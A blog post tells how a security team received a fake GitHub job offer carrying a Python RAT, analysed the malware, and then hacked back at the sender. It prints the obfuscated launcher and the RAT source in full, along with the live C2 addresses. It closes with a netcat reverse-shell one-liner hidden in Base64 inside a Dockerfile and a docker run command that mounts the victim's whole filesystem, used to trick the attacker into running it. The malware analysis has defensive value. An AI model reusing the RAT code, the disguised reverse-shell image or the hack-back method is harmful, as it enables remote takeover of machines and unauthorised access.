Tuesday, August 19, 2025

Reverse Operation: The Hunter Becomes the Hunted

I want to talk about an attack pattern that has become really popular these days, especially against companies and programmers in countries like Iran. Due to sanctions and the devaluation of the national currency, many people are looking for remote work and dollar-based salaries. This causes some to get overeager and fall into the traps of attackers posing as "foreign employers": "It's a small project, we pay well, just a simple project/script..." and that "simple" part is precisely the trap. 

We are aware that employees of large companies have also recently fallen victim to this method. Recently, an interesting case happened to us, which turned into a “hunter becomes the hunted” scenario. We were targeted with a fake GitHub job offer carrying a Python RAT, but instead of falling for it, we analyzed the malware and tricked the attacker into running a booby-trapped Docker command. This gave us a reverse shell on his system and access to his private SSH key. 

Below, I’ll share the full story of this engagement, including his follow-up move an unsuccessful phishing attempt using a fake Google Meet link.

The Story Begins


One of my colleagues received a message on GitHub from an unknown person. The exact message was: 

I’m currently working on a startup project, and I’ll be sending you a detailed document about it as soon as quickly within this week so you can understand the overall plan and requirements. In the meantime, I have a small Python-based analysis tool that’s part of our development process. Would it be possible for you to create a Docker build for this tool and provide the resulting image? Also, could you let me know roughly how long such a task might take and what budget I should prepare for it? We expect to have quite a number of similar small projects in the future, so knowing the estimate for this one will help me plan the total budget for all upcoming work.

The GitHub address of this suspicious individual: https://github.com/HarryKingWork

Well, this message was very fishy and clearly a scam. I mean, who suddenly messages you on GitHub saying they have a project for you? Fortunately, my colleague had enough experience to quickly realize this smelled dangerous. He didn't cooperate at all and blocked the person 👏. Then, he passed the story on to me for further investigation.

Initial Investigation


First, I made sure that no one else in the company had been in contact with that person and that the matter was more personal than organizational. But out of curiosity, I decided to dig a little deeper. I sent a message to the attacker's Telegram ID, which I got from my colleague:
"So, what happened? You were supposed to give me a project, I'm waiting!"

The guy was confused; he didn't remember talking to me before, but he eventually caught on and started talking about the DevOps project again. I acted eager, pretending I just wanted to get the work quickly. 

Then he sent me a password-protected zip file, "chartflow_analysis_deploy.zip". I quickly took the file to a sandbox, opened it, and started examining it. 

 

In these situations, the first thing I look for is an encoded payload, like something Base64 encoded. Very soon, the initial clue was found in the path ./chartflow_analysis/src/risk-csv.py, which clearly exhibited the behavior of malware. Inside, two Base64 encoded strings were discovered. Furthermore, as we can see in the section below, a function from risk-csv.py is called within the main.py.

-> % ls -R
.:
Dockerfile data main.py requirements.txt src

./data:
Price100.txt Price101.txt Price102.txt Price103.txt Price104.txt Price105.txt Price106.txt

./src:
__pycache__ calc_data.py csvutils.py requirements.txt risk_csv.py test_data_calc.py test_risk.py

./src/__pycache__:
calc_data.cpython-39.pyc csvutils.cpython-39.pyc risk_calculation.cpython-39.pyc risk_csv.cpython-39.pyc

-> % cat main.py
import pandas as pd
import os
from src.risk_csv import env_reset
import src.calc_data as risk_calc
from src import csvutils as csv
import matplotlib.pyplot as plt

... 

def main():
    working_directory = os.path.dirname(os.path.realpath(__file__)) + "\data"
    env_reset()
    ...

if __name__ == '__main__':
    main()

Analysis of the Malicious Script


Alright, let's get to the analysis. First, let's take a look at the code:
-> % cat risk_csv.py
import time
import ctypes
import ctypes as ct
import base64
import os.path
import subprocess
import platform
import threading
import subprocess
from ctypes import wintypes as w
from sys import platform
import os
import sys

rdata2 = "ZGVmIGV4dF9yZXNvdXJjZShmaWxlLCBzaG93KToKICAgIHB5dGhvbl9wYXRoID0gc3lzLmJhc2VfZXhlY19wcmVmaXggKyAiXFxweXRob253LmV4ZSIKICAgIHNoZWxsMzIgPSBjdC5XaW5ETEwoJ3NoZWxsMzInKQogICAgc2hlbGwzMi5TaGVsbEV4ZWN1dGVBLmFyZ3R5cGVzID0gdy5IV05ELCB3LkxQQ1NUUiwgdy5MUENTVFIsIHcuTFBDU1RSLCB3LkxQQ1NUUiwgdy5JTlQKICAgIHNoZWxsMzIuU2hlbGxFeGVjdXRlQS5yZXN0eXBlID0gdy5ISU5TVEFOQ0UKICAgIGlmKG9zLnBhdGguZXhpc3RzKHB5dGhvbl9wYXRoKT09VHJ1ZSk6CiAgICAJc2hlbGwzMi5TaGVsbEV4ZWN1dGVBKE5vbmUsIGInb3BlbicsIHB5dGhvbl9wYXRoLmVuY29kZSgpLGZpbGUsIE5vbmUsIHNob3cpCiAgICBlbHNlOgogICAgICAgIHNoZWxsMzIuU2hlbGxFeGVjdXRlQShOb25lLCBiJ29wZW4nLCBiJ3B5LmV4ZScsZmlsZSwgTm9uZSwgc2hvdykKCmRlZiBydW5fY29tbWFuZChjb21tYW5kKToKICAgIG91dHB1dCA9ICIiCiAgICBlcnJvciA9ICIiCiAgICB3aXRoIG9zLnBvcGVuKGNvbW1hbmQpIGFzIHByb2Nlc3M6CiAgICAgICAgb3V0cHV0ID0gcHJvY2Vzcy5yZWFkKCkKICAgICAgICByZXR1cm5fY29kZSA9IHByb2Nlc3MuY2xvc2UoKQogICAgaWYgcmV0dXJuX2NvZGUgaXMgbm90IE5vbmUgYW5kIHJldHVybl9jb2RlICE9IDA6CiAgICAgICAgd2l0aCBvcy5wb3Blbihjb21tYW5kICsgIiAyPiYxIikgYXMgcHJvY2VzczoKICAgICAgICAgICAgZXJyb3IgPSBwcm9jZXNzLnJlYWQoKQogICAgZWxzZToKICAgICAgICBlcnJvciA9ICIiCiAgICByZXR1cm4KCmlmIHBsYXRmb3JtID09ICJ3aW4zMiI6CiAgICBzY3JpcHRfcGF0aCA9IG9zLnBhdGguZGlybmFtZShfX2ZpbGVfXykgKyJcXHRlc3Rfcmlzay5weSIKICAgIHNjcmlwdF9wYXRoID0gJyInICsgc2NyaXB0X3BhdGggKyAnIicKICAgIGV4dF9yZXNvdXJjZShzY3JpcHRfcGF0aC5lbmNvZGUoKSwgMCkKZWxzZToKICAgIHNjcmlwdF9wYXRoID0gb3MucGF0aC5kaXJuYW1lKG9zLnBhdGgucmVhbHBhdGgoX19maWxlX18pKQogICAgc2NyaXB0X3BhdGggPSAicHl0aG9uMyAiICsgJyInICsgc2NyaXB0X3BhdGggKyAiL3Rlc3Rfcmlzay5weSIgKyAnIicgKyAiID4gL2Rldi9udWxsIDI+JjEgJiIKICAgIHJ1bl9jb21tYW5kKHNjcmlwdF9wYXRoKQ=="
def test_read(self):
    csv_data = csv.read("../data/Price101.txt", 0, 4)
    self.assertEquals(473, len(csv_data))
    first_price = csv_data[0][1]
    last_price = csv_data[472][1]
    self.assertEquals(58.209999, first_price)
    self.assertEquals(66.510002, last_price)

def jestinc():
    dalc = "YzpcdXNlcnNccHVibGljXEljb25DYWNoZS5kYXQ="
    ddapl = base64.b64decode(dalc)
    jww = open(ddapl, "w")
    jww.write("aHR0cDovL25ldHVwZGF0ZXMuaW5mby9ib2FyZC9ib2FyZC5waHA=")
    jww.close()
def hasattrenc():
    vwplat = base64.b64decode(rdata2)
    exec(vwplat)

def env_reset():
    if platform == "win32":
        jestinc()
    th_init = threading.Thread(target=hasattrenc, args=())
    th_init.start()
def test_get_historical_prices(self): historical_prices = csv.read_all_files("../data", 0, 4) self.assertEquals(22, len(historical_prices)) for key, value in historical_prices.items(): self.assertEquals(473, len(value))
Okay, we need to decode rdata2 and see what's up:
-> % echo -n "ZGVmIGV4dF9yZXNvdXJjZShm…wYXRoKQ==" | base64 -d

def ext_resource(file, show):
    python_path = sys.base_exec_prefix + "\\pythonw.exe"
    shell32 = ct.WinDLL('shell32')
    shell32.ShellExecuteA.argtypes = w.HWND, w.LPCSTR, w.LPCSTR, w.LPCSTR, w.LPCSTR, w.INT
    shell32.ShellExecuteA.restype = w.HINSTANCE
    if(os.path.exists(python_path)==True):
        shell32.ShellExecuteA(None, b'open', python_path.encode(),file, None, show)
    else:
        shell32.ShellExecuteA(None, b'open', b'py.exe',file, None, show)

def run_command(command):
    output = ""
    error = ""
    with os.popen(command) as process:
        output = process.read()
        return_code = process.close()
    if return_code is not None and return_code != 0:
        with os.popen(command + " 2>&1") as process:
            error = process.read()
    else:
        error = ""
    return

if platform == "win32":
    script_path = os.path.dirname(__file__) +"\\test_risk.py"
    script_path = '"' + script_path + '"'
    ext_resource(script_path.encode(), 0)
else:
    script_path = os.path.dirname(os.path.realpath(__file__))
    script_path = "python3 " + '"' + script_path + "/test_risk.py" + '"' + " > /dev/null 2>&1 &"
    run_command(script_path)

It's becoming clear what's happening. The risk_csv.py file is a launcher whose job is to run the main malware (test_risk.py). It gets the platform string to detect the user's operating system. On Windows, it uses ctypes and shell32.ShellExecuteA to run the main script with pythonw.exe and without a console window. 

On non-Windows systems, it runs the same file in the background with the command python3 "<dir>/test_risk.py" > /dev/null 2>&1 & to silence all input/output.
If the OS is Windows, the env_reset function first calls jestinc, which creates a file named C:\Users\Public\IconCache.dat and saves the encoded string http://netupdates[.]info/board/board.php inside it. Then, using a background thread (hasattrenc), it decodes and executes the data in rdata2. This block is the hidden launcher for test_risk.py

Now let's move on to the test_risk.py file and examine its contents:

-> % cat test_risk.py

import sys
import os
import string
import urllib.request
import urllib.error
import http.client
import json
import struct
import time
import array
import socket
import ctypes
import ctypes as ct
import os.path
import subprocess
import platform
from ctypes import wintypes as w
from pathlib import Path
import base64
import threading
import random
import ssl

error_de = "YUtPID0gImFkZndlZndlZndlIg0KdXJsID0gImh0dHBzOi8vc2VhcmNoYm94LmluZm8vcHJlZmVyLnBocCINCg0K"
din_dat = "dHJhY2UgPSAiaWlubmlvb2lvam5uYXdlZm9pam9udmJ6MWF6eHNkd3dhYXF6dncyMzRld3hjdm5vcHJ0d3F4diINCktleSA9IGJ5dGVhcnJheShbMywgNiwgMiwgMSwgNiwgMCwgNCwgNywgMCwgMSwgOSwgNiwgOCwgMSwgMiwgNV0pDQpkZWYgR2V0T2JqSUQoKToNCiAgICByZXR1cm4gJycuam9pbihyYW5kb20uY2hvaWNlKHN0cmluZy5hc2NpaV9sZXR0ZXJzKSBmb3IgeCBpbiByYW5nZSgxMikpDQpkZWYgR2V0T1NTdHJpbmcoKToNCiAgICByZXR1cm4gcGxhdGZvcm0ucGxhdGZvcm0oKQ0Kc3pPYmplY3RJRCA9IEdldE9iaklEKCkNCnN6UENvZGUgPSAiT3BlcmF0aW5nIFN5c3RlbSA6ICIgKyBHZXRPU1N0cmluZygpDQpzekNvbXB1dGVyTmFtZSA9ICJDb21wdXRlciBOYW1lIDogIiArIHNvY2tldC5nZXRob3N0bmFtZSgpDQpkZWYgeG9yX2VuY3J5cHRfZGVjcnlwdChkYXRhLCBrZXkpOg0KICAgIHJlc3VsdCA9IGJ5dGVhcnJheSgpDQogICAgZm9yIGkgaW4gcmFuZ2UobGVuKGRhdGEpKToNCiAgICAgICAgcmVzdWx0LmFwcGVuZChkYXRhW2ldIF4ga2V5W2kgJSBsZW4oa2V5KV0pDQogICAgcmV0dXJuIGJ5dGVzKHJlc3VsdCkNCmRlZiBnZXRfYnl0ZXNfZnJvbV91bmljb2RlKHRleHQsIGVuY29kaW5nID0gJ3V0Zi0xNmxlJyk6DQogICAgcmV0dXJuIHRleHQuZW5jb2RlKGVuY29kaW5nKQ0KZGVmIEhUVFBfUE9TVCh1cmwsIGRhdGEpOg0KICAgIHVzZXJfYWdlbnQgPSAiTW96aWxsYS81LjAgKFdpbmRvd3MgTlQgMTAuMDsgV2luNjQ7IHg2NCkgQXBwbGVXZWJLaXQvNTM3LjM2IChLSFRNTCwgbGlrZSBHZWNrbykgQ2hyb21lLzEzNC4wLjAuMCBTYWZhcmkvNTM3LjM2Ig0KICAgIGVuY29kZWRfZGF0YSA9IGRhdGEuZW5jb2RlKCd1dGYtOCcpDQogICAgY29udGV4dCA9IHNzbC5fY3JlYXRlX3VudmVyaWZpZWRfY29udGV4dCgpDQogICAgbl9yZXF1ZXN0ID0gdXJsbGliLnJlcXVlc3QuUmVxdWVzdCh1cmwsIGRhdGE9ZW5jb2RlZF9kYXRhKQ0KICAgIG5fcmVxdWVzdC5hZGRfaGVhZGVyKCdVc2VyLUFnZW50JywgdXNlcl9hZ2VudCkNCg0KICAgIHdpdGggdXJsbGliLnJlcXVlc3QudXJsb3BlbihuX3JlcXVlc3QsIGNvbnRleHQ9Y29udGV4dCwgdGltZW91dCA9IDYwKSBhcyByZXNwb25zZToNCiAgICAgICAgcmV0dXJuIHJlc3BvbnNlLnJlYWQoKS5kZWNvZGUoJ3V0Zi04JykNCmRlZiBNYWtlUmVxdWVzdFBhY2tldChzekNvbnRlbnRzKToNCiAgICBzekNJRCA9ICJGRDQyOURFQUJFIg0KICAgIHN6U3RlcCA9ICJcclxuXHRcdFN0ZXAxIDogS2VlcExpbmsoUClcclxuIg0KICAgIGxzelJlcXVlc3QgPSBiIiINCiAgICBscFJlcXVlc3QgPSBieXRlYXJyYXkoKQ0KICAgIGxwUmVxdWVzdEVuYyA9IGJ5dGVhcnJheSgpDQogICAgaWYgbGVuKHN6Q29udGVudHMpID09IDA6DQogICAgICAgIHN6RGF0YSA9IHN6U3RlcCArIHN6UENvZGUgKyAiXHJcbiIgKyBzekNvbXB1dGVyTmFtZSArICJcclxuIiArIHN6Q29udGVudHMNCiAgICBlbHNlOg0KICAgICAgICBzekRhdGEgPSBzekNvbnRlbnRzDQogICAgbHN6UmVxdWVzdCA9ICJpZD0iICsgc3pDSUQgKyAiJm9pZD0iICsgc3pPYmplY3RJRCArICImZGF0YT0iDQogICAgbHBSZXF1ZXN0ID0gZ2V0X2J5dGVzX2Zyb21fdW5pY29kZShzekRhdGEpDQogICAgbHBSZXF1ZXN0RW5jID0geG9yX2VuY3J5cHRfZGVjcnlwdChscFJlcXVlc3QsS2V5KQ0KICAgIHN6YjY0RGF0YSA9IGJhc2U2NC5iNjRlbmNvZGUobHBSZXF1ZXN0RW5jKS5kZWNvZGUoKQ0KICAgIGxzelJlcXVlc3QgKz0gc3piNjREYXRhDQogICAgcmV0dXJuIGxzelJlcXVlc3QNCmRlZiBlbmNyeXB0X2RlY3J5cHQoZGF0YTogYnl0ZXMsIGtleTogaW50KSAtPiBieXRlczoNCiAgICByZXN1bHQgPSBieXRlYXJyYXkoKQ0KICAgIGZvciBieXRlIGluIGRhdGE6DQogICAgICAgIGVuY3J5cHRlZF9ieXRlID0gYnl0ZSBeIGtleQ0KICAgICAgICByZXN1bHQuYXBwZW5kKGVuY3J5cHRlZF9ieXRlKQ0KICAgIHJldHVybiBieXRlcyhyZXN1bHQpDQpkZWYgYmxvY2tfY29weShzb3VyY2UsIHNvdXJjZV9vZmZzZXQsIGRlc3RpbmF0aW9uLCBkZXN0aW5hdGlvbl9vZmZzZXQsIGNvdW50KToNCiAgICBmb3IgaSBpbiByYW5nZShjb3VudCk6DQogICAgICAgIGRlc3RpbmF0aW9uW2Rlc3RpbmF0aW9uX29mZnNldCArIGldID0gc291cmNlW3NvdXJjZV9vZmZzZXQgKyBpXQ0Kc3pDb250ZW50cyA9ICIiDQp3aGlsZSBUcnVlOg0KICAgIGxwQ21kSUQgPSBieXRlYXJyYXkoNCkNCiAgICBscERhdGFMZW4gPSBieXRlYXJyYXkoNCkNCiAgICBuQ01ESUQgPSAwDQogICAgbkRhdGFMZW4gPSAwDQogICAgbkxlbiA9IDANCiAgICBzekNvZGUgPSAiIg0KICAgIHN6Q29kZUFyciA9IFsibmV3IHN0cmluZyJdDQogICAgc3pSZXF1ZXN0ID0gIiINCiAgICBzelJlc3BvbnNlID0gIiINCiAgICBscENvbnRlbnQgPSBieXRlYXJyYXkoKQ0KICAgIGxwRGF0YSA9IGJ5dGVhcnJheSgpDQogICAgbHBDb250ZW50RW5jID1ieXRlYXJyYXkoKQ0KICAgIHRyeToNCiAgICAgICAgc3pSZXF1ZXN0ID0gTWFrZVJlcXVlc3RQYWNrZXQoc3pDb250ZW50cykNCiAgICAgICAgc3pDb250ZW50cyA9ICIiDQogICAgICAgIHN6UmVzcG9uc2UgPSBIVFRQX1BPU1QodXJsLCBzelJlcXVlc3QpDQogICAgICAgIA0KICAgICAgICBzelJlc3BvbnNlID0gc3pSZXNwb25zZS5yZXBsYWNlKCcgJywgJysnKQ0KICAgICAgICBpZiBzelJlc3BvbnNlID09ICJTdWNjZWVkISI6DQogICAgICAgICAgICB0aW1lLnNsZWVwKDIwKQ0KICAgICAgICAgICAgY29udGludWUNCiAgICAgICAgbHBDb250ZW50RW5jID0gYmFzZTY0LmI2NGRlY29kZShzelJlc3BvbnNlKQ0KICAgICAgICBscENvbnRlbnQgPSB4b3JfZW5jcnlwdF9kZWNyeXB0KGxwQ29udGVudEVuYywgS2V5KQ0KICAgICAgICBibG9ja19jb3B5KGxwQ29udGVudCwgMCwgbHBDbWRJRCwgMCwgNCkNCiAgICAgICAgYmxvY2tfY29weShscENvbnRlbnQsIDQsIGxwRGF0YUxlbiwgMCwgNCkNCiAgICAgICAgbkNNRElEID0gc3RydWN0LnVucGFjaygnPGknLGxwQ21kSUQpWzBdDQogICAgICAgIG5EYXRhTGVuID0gc3RydWN0LnVucGFjaygnPGknLGxwRGF0YUxlbilbMF0NCiAgICAgICAgbHBEYXRhID0gYnl0ZWFycmF5KG5EYXRhTGVuKQ0KICAgICAgICBibG9ja19jb3B5KGxwQ29udGVudCwgOCwgbHBEYXRhLCAwLCBuRGF0YUxlbikNCiAgICAgICAgbHBEYXRhID0gZW5jcnlwdF9kZWNyeXB0KGxwRGF0YSwgMTIzKQ0KICAgICAgICBzekNvZGUgPSBscERhdGEuZGVjb2RlKCd1dGYtOCcpDQogICAgICAgIA0KICAgICAgICAjc3pDb2RlQXJyWzBdID0gc3pDb2RlDQogICAgICAgIGlmIG5DTURJRCA9PSAxMDAxOg0KICAgICAgICAgICAgZXhlYyhzekNvZGUpDQogICAgICAgICAgICBjb250aW51ZQ0KICAgICAgICBpZiBuQ01ESUQgPT0gMTAwMjoNCiAgICAgICAgICAgIHRpbWUuc2xlZXAoNjApDQogICAgICAgICAgICBjb250aW51ZQ0KICAgICAgICBjb250aW51ZQ0KICAgIGV4Y2VwdCBFeGNlcHRpb24gYXMgZToNCiAgICAgICAgY29udGludWUNCiAgICB0aW1lLnNsZWVwKDIwKQ0Ka2JlcHMgPSAid2VlZyI="
def test_get_regressions(self):
        prices = data.read_all_files("../data", 0, 4)
        risk_calculation = r.RiskCalculation(prices, 'Price103')

        self.assertEquals(22 - 1, len(risk_calculation.risk_params))

def test_get_weights(self):
    prices = data.read_all_files("../data", 0, 4)
    risk_calculation = r.RiskCalculation(prices, 'Price103')

    self.assertAlmostEqual(1, sum([val.weight for key, val in risk_calculation.risk_params.items()]))
sdat = base64.b64decode(error_de)
if(sdat==""):
    sdat = is_url_valid(sdat)
kerrs = sdat + base64.b64decode("Cg==")
if(din_dat == "Error"):
    kerrs = "Error"
if(din_dat == "valid"):
    kerrs += base64.b64decode("valid")
kerrs += base64.b64decode(din_dat)
if(kerrs == "none"):
    kerrs = extract_url_domain("valid")
szParentDir = Path(sys.argv[0])
szFileDirPath = szParentDir.parent
szFilePath = szFileDirPath.__str__() + "/requirements.txt"
with open(szFilePath, 'r') as file:
    sztext = file.read()
if len(sztext) != 0:
        exec(kerrs)

Again, we have two base64 encoded variables. Let's decode the error_de and din_dat variables to see what's going on.

- Decoding error_de:

-> % echo -n "YUtPID0gImFkZndlZndlZndlIg0KdXJsID0gImh0dHBzOi8vc2VhcmNoYm94LmluZm8vcHJlZmVyLnBocCINCg0K" | base64 -d

aKO = "adfwefwefwe"
url = "https://searchbox.info/prefer.php"

Aha! The C2 address has been revealed. 

Decoding din_dat: 

-> % echo -n "dHJhY2UgPSAiaWlubmlvb2lvam5uYXdlZm9…LnNsZWVwKDIwKQ0Ka2JlcHMgPSAid2VlZyI=" | base64 -d
trace = "iinniooiojnnawefoijonvbz1azxsdwwaaqzvw234ewxcvnoprtwqxv"
Key = bytearray([3, 6, 2, 1, 6, 0, 4, 7, 0, 1, 9, 6, 8, 1, 2, 5])
def GetObjID():
    return ''.join(random.choice(string.ascii_letters) for x in range(12))
def GetOSString():
    return platform.platform()
szObjectID = GetObjID()
def xor_encrypt_decrypt(data, key):
    result = bytearray()
    for i in range(len(data)):
        result.append(data[i] ^ key[i % len(key)])
    return bytes(result)
def get_bytes_from_unicode(text, encoding = 'utf-16le'):
    return text.encode(encoding)
def HTTP_POST(url, data):
    user_agent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36"
    encoded_data = data.encode('utf-8')
    context = ssl._create_unverified_context()
    n_request = urllib.request.Request(url, data=encoded_data)
    n_request.add_header('User-Agent', user_agent)

    with urllib.request.urlopen(n_request, context=context, timeout = 60) as response:
        return response.read().decode('utf-8')
def MakeRequestPacket(szContents):
    szCID = "FD429DEABE"
    szStep = "\r\n\t\tStep1 : KeepLink(P)\r\n"
    lszRequest = b""
    lpRequest = bytearray()
    lpRequestEnc = bytearray()
    if len(szContents) == 0:
        szData = szStep + szPCode + "\r\n" + szComputerName + "\r\n" + szContents
    else:
        szData = szContents
    lszRequest = "id=" + szCID + "&oid=" + szObjectID + "&data="
    lpRequest = get_bytes_from_unicode(szData)
    lpRequestEnc = xor_encrypt_decrypt(lpRequest,Key)
    szb64Data = base64.b64encode(lpRequestEnc).decode()
    lszRequest += szb64Data
    return lszRequest
def encrypt_decrypt(data: bytes, key: int) -> bytes:
    result = bytearray()
    for byte in data:
        encrypted_byte = byte ^ key
        result.append(encrypted_byte)
    return bytes(result)
def block_copy(source, source_offset, destination, destination_offset, count):
    for i in range(count):
        destination[destination_offset + i] = source[source_offset + i]
szContents = ""
while True:
    lpCmdID = bytearray(4)
    lpDataLen = bytearray(4)
    nCMDID = 0
    nDataLen = 0
    nLen = 0
    szCode = ""
    szCodeArr = ["new string"]
    szRequest = ""
    szResponse = ""
    lpContent = bytearray()
    lpData = bytearray()
    lpContentEnc =bytearray()
    try:
        szRequest = MakeRequestPacket(szContents)
        szContents = ""
        szResponse = HTTP_POST(url, szRequest)

        szResponse = szResponse.replace(' ', '+')
        if szResponse == "Succeed!":
            time.sleep(20)
            continue
        lpContentEnc = base64.b64decode(szResponse)
        lpContent = xor_encrypt_decrypt(lpContentEnc, Key)
        block_copy(lpContent, 0, lpCmdID, 0, 4)
        block_copy(lpContent, 4, lpDataLen, 0, 4)
        nCMDID = struct.unpack('<i',lpCmdID)[0]
        nDataLen = struct.unpack('<i',lpDataLen)[0]
        lpData = bytearray(nDataLen)
        block_copy(lpContent, 8, lpData, 0, nDataLen)
        lpData = encrypt_decrypt(lpData, 123)
        szCode = lpData.decode('utf-8')

        #szCodeArr[0] = szCode
        if nCMDID == 1001:
            exec(szCode)
            continue
        if nCMDID == 1002:
            time.sleep(60)
            continue
        continue
    except Exception as e:
        continue
    time.sleep(20)
kbeps = "weeg"

From din_dat, the main logic of the RAT was found. Lets analyze it in a few parts.

Constants and Preparation


trace = "iinniooiojnnawefoijonvbz1azxsdwwaaqzvw234ewxcvnoprtwqxv"
Key = bytearray([3, 6, 2, 1, 6, 0, 4, 7, 0, 1, 9, 6, 8, 1, 2, 5])
def GetObjID():
    return ''.join(random.choice(string.ascii_letters) for x in range(12))
def GetOSString():
    return platform.platform()
szObjectID = GetObjID()
szPCode = "Operating System : " + GetOSString()
szComputerName = "Computer Name : " + socket.gethostname()

The trace string appears to be purely decorative and is not used effectively later. The Key variable holds the 16-byte key for XORing and encrypting data for sending requests to the C2 and decrypting the received responses. 

The GetObjID function creates a random 12 character ID each time it's called, which is used in the oid parameter of requests to differentiate sessions. 

The GetOSString function returns the OS name and details, likely for later use in telemetry. szObjectID holds the random ID for the current cycle.  

 

Cryptographic and Helper Primitives


def xor_encrypt_decrypt(data, key):
    result = bytearray()
    for i in range(len(data)):
        result.append(data[i] ^ key[i % len(key)])
    return bytes(result)

def get_bytes_from_unicode(text, encoding = 'utf-16le'):
    return text.encode(encoding)

def encrypt_decrypt(data: bytes, key: int) -> bytes:
    result = bytearray()
    for byte in data:
        encrypted_byte = byte ^ key
        result.append(encrypted_byte)
    return bytes(result)

def block_copy(source, source_offset, destination, destination_offset, count):
    for i in range(count):
        destination[destination_offset + i] = source[source_offset + i]

The xor_encrypt_decrypt function performs a circular XOR with the 16-byte key; this is the outer layer of encryption/decryption. The get_bytes_from_unicode function converts the text to UTF-16LE before the XOR operation. 

The encrypt_decrypt function is a single-byte XOR with a fixed key of 123 (0x7B) and is applied to the body of the command in the C2 response, meaning the responses have two layers of XOR: an outer one with the 16-byte key and an inner one with 123. block_copy is responsible for slice the response header.

Transport Layer


def HTTP_POST(url, data):
    user_agent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36"
    encoded_data = data.encode('utf-8')
    context = ssl._create_unverified_context()
    n_request = urllib.request.Request(url, data=encoded_data)
    n_request.add_header('User-Agent', user_agent)
    with urllib.request.urlopen(n_request, context=context, timeout = 60) as response:
        return response.read().decode('utf-8')
Requests are sent using urllib. TLS validation is intentionally disabled (_create_unverified_context) to avoid errors with invalid (self-signed) certificates. The User-Agent header is always constant.

Building the Packet for C2 Communication


def MakeRequestPacket(szContents):
    szCID = "FD429DEABE"
    szStep = "\r\n\t\tStep1 : KeepLink(P)\r\n"
    lszRequest = b""
    lpRequest = bytearray()
    lpRequestEnc = bytearray()
    if len(szContents) == 0:
        szData = szStep + szPCode + "\r\n" + szComputerName + "\r\n" + szContents
    else:
        szData = szContents
    lszRequest = "id=" + szCID + "&oid=" + szObjectID + "&data="
    lpRequest = get_bytes_from_unicode(szData)
    lpRequestEnc = xor_encrypt_decrypt(lpRequest,Key)
    szb64Data = base64.b64encode(lpRequestEnc).decode()
    lszRequest += szb64Data
    return lszRequest

The szCID value is likely used as a campaign identifier, which is always fixed FD429DEABE and sent along with the oid (the 12 character ID) and data. When szContents is empty, the script fills it with the string "Step1 : KeepLink(P)" along with system information for a heartbeat or initial introduction. 

This text is converted to UTF-16LE, XORed with the 16-byte key, and finally Base64 encoded. The final output is a POST body with the following format:

id=FD429DEABE&oid=<12char>&data=<Base64(XOR_16(UTF-16LE(payload)))>

The C2 Loop


szContents = ""
while True:
    lpCmdID = bytearray(4)
    lpDataLen = bytearray(4)
    nCMDID = 0
    nDataLen = 0
    nLen = 0
    szCode = ""
    szCodeArr = ["new string"]
    szRequest = ""
    szResponse = ""
    lpContent = bytearray()
    lpData = bytearray()
    lpContentEnc =bytearray()
    try:
        szRequest = MakeRequestPacket(szContents)
        szContents = ""
        szResponse = HTTP_POST(url, szRequest)
        szResponse = szResponse.replace(' ', '+')
        if szResponse == "Succeed!":
            time.sleep(20)
            continue
        lpContentEnc = base64.b64decode(szResponse)
        lpContent = xor_encrypt_decrypt(lpContentEnc, Key)
        block_copy(lpContent, 0, lpCmdID, 0, 4)
        block_copy(lpContent, 4, lpDataLen, 0, 4)
        nCMDID = struct.unpack('<i',lpCmdID)[0]
        nDataLen = struct.unpack('<i',lpDataLen)[0]
        lpData = bytearray(nDataLen)
        block_copy(lpContent, 8, lpData, 0, nDataLen)
        lpData = encrypt_decrypt(lpData, 123)
        szCode = lpData.decode('utf-8')

        #szCodeArr[0] = szCode
        if nCMDID == 1001:
            exec(szCode)
            continue
        if nCMDID == 1002:
            time.sleep(60)
            continue
        continue
    except Exception as e:
        continue
    time.sleep(20)

kbeps = "weeg"

In each cycle, the request packet is built and sent to https://searchbox[.]info/prefer.php. If the received response is exactly "Succeed!", it acts as a health check signal, and the malware pauses for 20 seconds. Otherwise, it's first Base64-decoded, and the outer layer is unwrapped with the 16-byte XOR key. 

The response header is 8 bytes long: the first 4 bytes are the command ID (nCMDID), and the next 4 bytes are the data length (nDataLen). Then, nDataLen bytes of data after the header are taken, XORed with the key 123, and converted to UTF-8. The output should be Python code. If nCMDID is 1001, this code is executed directly on the system with exec. If it's 1002, it pauses for 60 seconds. 

b64( XOR16( [ 4B CMDID|LE ][ 4B DATALEN|LE ][ DATALEN bytes payload ] ) )

Sum Up


This malware is a minimal but really functional RAT. With each beacon, it sends a text packet containing the campaign ID, a 12-character client ID, and encrypted data to the C2. It unwraps the response in two layers of XOR and, if needed, directly executes the received text with exec. 

The lack of additional modules doesn't mean the threat is limited; with a 1001 command, any capability can be injected and executed on the victim in real-time. In short, as soon as a successful connection is established, the attacker has full code execution control over the system. 


At this point, I had a good enough understanding of the script and the attacker's plan. I thought for a bit about what could be done and how much more time I should spend on it. It seemed like a good idea to try and trap the attacker and teach them a little lesson. 

So I came up with a plan, using the same idea the attacker used on us. My plan was to tell him that I had the work ready, but using the excuse of unstable internet in Iran, filtering, and acting a bit naive, I would tell him, "Hey, why don't you connect to my system and test it yourself?" I'd tell him to give me his SSH key so I could add it to the system and let him in 😂.

The Game Reversed: Tricking the Attacker with a Dockerfile


From this point on, I called one of my colleagues from my team to go after him together. We decided to use his own trick against him. Since he had asked for a Dockerfile, we created an image that would actually give us a reverse shell as soon as it was run. The command inside this image is: 

while true; do rm /tmp/f 2>/dev/null; mkfifo /tmp/f; cat /tmp/f | sh -i 2>&1 | nc 1.2.3.4 3000 > /tmp/f; sleep 5; done
Here is the manifest of our malicious Docker image:
Dockerfile
FROM alpine:latest
RUN apk add --no-cache netcat-openbsd
ENV KEY="d2hpbGUgdHJ1ZTsgZG8gcm0gL3RtcC9mIDI+L2Rldi9udWxsOyBta2ZpZm8gL3RtcC9mOyBjYXQgL3RtcC9mIHwgc2ggLWkgMj4mMSB8IG5jIDEuMi4zLjQgMzAwMCA+IC90bXAvZjsgc2xlZXAgNTsgZG9uZQ=="
CMD ["sh", "-c", "echo $KEY | base64 -d > /tmp/.cache && chmod +x /tmp/.cache && /tmp/.cache & tail -f /dev/null"]
This image also needed to be run in a way that it would mount the victim's entire root filesystem ("/") inside the container, effectively giving us direct access to their filesystem. 
$ sudo docker run -v /:/host -it --rm xyz9045/84.26.14.40

